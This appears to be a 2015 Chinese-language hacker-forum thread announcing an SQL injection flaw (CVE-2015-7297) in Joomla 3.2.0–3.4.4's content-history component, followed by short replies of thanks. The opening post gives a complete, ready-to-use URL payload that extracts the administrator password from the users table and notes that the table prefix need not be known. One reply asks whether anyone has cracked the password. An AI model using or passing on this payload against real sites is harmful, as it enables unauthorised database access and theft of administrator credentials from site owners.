90_ 发表于 2015-10-23 14:54:26

Joomla 3.2.0 - 3.4.4 无限制SQL注入漏洞

CVE-ID: CVE-2015-7297
影响组件: Joomla (3.2.0<=version<=3.4.4)

Joomla 3.2.0 - 3.4.4
/administrator/components/com_contenthistory/models/history.php
文件存在未过滤的问题，导致出现SQL注入，可用于获取管理员密码

可用如下payload直接获取管理员密码
http://www.ihonker.org/joomla/index.php?option=com_contenthistory&view=history&list=&item_id=1&type_id=1&list=(select 1 from (select count(*),concat((select (select concat(password)) from %23__users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

其中%23_即为joomla表前缀，无需获取表前缀，joomla会自动将#_转换为表前缀。

sqlemma 发表于 2015-10-25 09:09:39

90大哥是手工注入的？

0licej 发表于 2015-10-26 15:44:24

有人破解出密码了么？

大良造 发表于 2015-10-26 16:18:59

不顶不行啊楼主

helloqyz 发表于 2015-11-24 23:08:55

支持楼主，来学习学习

icef4sh 发表于 2016-4-7 16:08:21


感谢分享
页: [1]
查看完整版本: Joomla 3.2.0 - 3.4.4 无限制SQL注入漏洞